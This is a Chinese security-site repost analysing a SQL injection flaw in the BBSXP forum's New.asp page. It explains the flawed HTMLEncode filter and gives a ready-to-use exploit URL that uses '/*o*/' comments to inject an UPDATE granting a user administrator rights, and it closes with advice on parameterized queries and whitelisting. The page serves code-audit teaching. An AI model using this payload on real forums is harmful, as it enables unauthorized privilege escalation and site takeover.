当前位置: 首页
网络安全
BBSXP论坛程序New.asp页面过滤不严导致SQL注入漏洞分析

BBSXP论坛程序New.asp页面过滤不严导致SQL注入漏洞分析

热心网友 时间:2026-07-25
转载

近期在深入分析BBSXP论坛系统时,发现一个典型的SQL注入漏洞,影响版本7 3和2008。这类安全问题在ASP时代屡见不鲜——参数过滤机制看似全面,实则隐藏着后门。本文将详细剖析该漏洞的成因与利用方式,希望对从事代码审计或安全研究的朋友有所启发。 漏洞的触发点位于New asp文件。先看一段关键代

近期在深入分析BBSXP论坛系统时,发现一个典型的SQL注入漏洞,影响版本7.3和2008。这类安全问题在ASP时代屡见不鲜——参数过滤机制看似全面,实则隐藏着后门。本文将详细剖析该漏洞的成因与利用方式,希望对从事代码审计或安全研究的朋友有所启发。

漏洞的触发点位于New.asp文件。先看一段关键代码:

Sort=HTMLEncode(Request("Sort")) //第24行
if Sort = empty then
    SqlSort="ThreadID"
else
    SqlSort=Sort
end if

第66行,变量Sort直接被拼接进SQL查询:

sql="Select top "&SqlTopicCount&" * from ["&TablePrefix&"Threads] where Visible=1 "&SqlForumID&" "&SqlTimeLimit&" order by "&SqlSort&" desc"

这里开发者确实做了过滤——调用了HTMLEncode函数。但问题在于,这个过滤函数到底过滤了什么?让我们看看定义在BBSXP_Class.asp里的完整实现:

Function HTMLEncode(fString)
    fString=Replace(fString,CHR(9),"")
    fString=Replace(fString,CHR(13),"")
    fString=Replace(fString,CHR(22),"")
    fString=Replace(fString,CHR(38),"&") '&
    fString=Replace(fString,CHR(32)," ") '空格
    fString=Replace(fString,CHR(34),""") '双引号
    fString=Replace(fString,CHR(39),"'") '单引号
    fString=Replace(fString,CHR(42)&CHR(42),"**") '**
    fString=Replace(fString,CHR(44),",") '逗号
    fString=Replace(fString,CHR(45)&CHR(45),"--") '--
    fString=Replace(fString,CHR(60),"<") '<
    fString=Replace(fString,CHR(62),">") '>
    fString=Replace(fString,CHR(92),"\") '\
    fString=Replace(fString,CHR(59),";") ';
    fString=Replace(fString,CHR(10),"
") fString=ReplaceText(fString,"([&#])([a-z0-9]*);","$$1$$2;") if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*")) end if if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi fString=escape(fString) fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;") fString=unescape(fString) end if HTMLEncode=fString End Function

乍看之下,过滤规则覆盖了Tab、空格、双星号**、注释符--、分号等多个字符。然而深入分析就会发现,变量SqlSort在拼接SQL语句前仅经过HTMLEncode处理,而该函数并未完全阻断所有SQL注入可利用的字符。

换言之,过滤逻辑存在显著漏洞。例如,空格被转换为 实体编码,但某些数据库环境下该实体仍可被解析为空格。此外,*仅过滤连续两个的情况,单个*未被限制,从而为/*注释符的使用提供了可乘之机。

来看一个实际的漏洞测试示例:

http://localhost/bbsxp/new.asp?Sort=ThreadID/*o*/update/*o*/bbsxp_users/*o*/set/*o*/UserRoleID=1/*o*/where/*o*/Username=0x6C006F00760065006D006D006D00/*o*/select/*o*/*/*o*/from/*o*/BBSXP_users/*o*/order/*o*/by/*o*/userid

攻击者在此处使用/*o*/代替空格,实现了双重绕过:一方面规避了空格过滤(尽管空格被转义,但/*注释*/在SQL中具有分隔符功能),另一方面利用注释符将敏感关键字分隔,最终成功将普通用户lovemmm的权限提升为管理员(UserRoleID设置为1)。

此类注入方式虽不新颖,但在实际代码审计中仍频繁被发现。核心教训非常明确:切勿将HTML编码函数当作SQL注入的防护手段——二者的设计目标截然不同。防御SQL注入应依赖参数化查询或严格的输入白名单校验,而非简单地将特殊字符转换为实体编码。对于排序字段这类非数据型参数,最安全的方法是逐一验证允许的值,直接拒绝任何不在白名单内的输入。

来源:https://www.jb51.net/hack/5533.html

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
零基础Python网络安全学习指南,包住宿实战培训

零基础Python网络安全学习指南,包住宿实战培训

先抛出几个核心判断:网络安全人才缺口确实已经超过70万。这个数字不算夸张,各大招聘网站上安全岗位的薪资涨幅和需求增长都是实实在在的。但实话实说,行业真正缺的是能上手干活的人,不是只懂几个理论概念的新手。因此,一套扎实且成体系的训练方案,对于零基础转行或进阶提升就显得格外关键。 从零基础到能够独立应对

时间:2026-07-25 22:28
网络安全定义与核心概念详解

网络安全定义与核心概念详解

谈到网络安全,不同组织与标准体系对其定义虽有差异,但核心目标高度统一:保护信息与系统不受威胁侵害。以下梳理几种主流定义—— 什么是网络安全? 国际标准化组织(ISO)在ISO-74982文献中将安全定义为:最大程度地降低数据和资源遭受攻击的可能性。该定义虽简短,却精准点出安全的本质——即风险控制。

时间:2026-07-25 22:28
IIS 7.0网站漏洞利用与修复方法指南

IIS 7.0网站漏洞利用与修复方法指南

先来聊聊当前网络安全领域比较流行的一种实战技巧——以PHP环境为例,详细讲解图片马合并与解析漏洞利用的具体操作步骤。整个过程并不复杂,但细节往往决定成败,大家跟着流程逐步操作即可。 合并一张PHP一句话图片马 首先,我们需要将一句话木马脚本与一张正常图片合并,生成一个看似无害的图片文件。合并方式主要

时间:2026-07-25 22:28
织梦管理系统后台查找功能教程

织梦管理系统后台查找功能教程

通过SQL注入漏洞获取织梦CMS(DedeCMS)管理员密码后,满怀期待地准备进入后台,却发现怎么也找不到登录入口——这种情况其实相当常见。别着急,这里有一个实用的技巧值得尝试。 直接在网站地址后面添加以下路径: include dialog select_media php?f=form1 mur

时间:2026-07-25 22:28
微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析

微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析

BrowseDialog Class (ccrpbds6 dll) 导致 Internet Explorer 拒绝服务漏洞分析 该漏洞的PoC(概念验证代码)实现极为直接——触发浏览器崩溃的条件简单得令人意外。测试环境采用Windows XP Professional SP2(已安装全部补丁)并运行

时间:2026-07-25 22:10
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全
  • 热门数据榜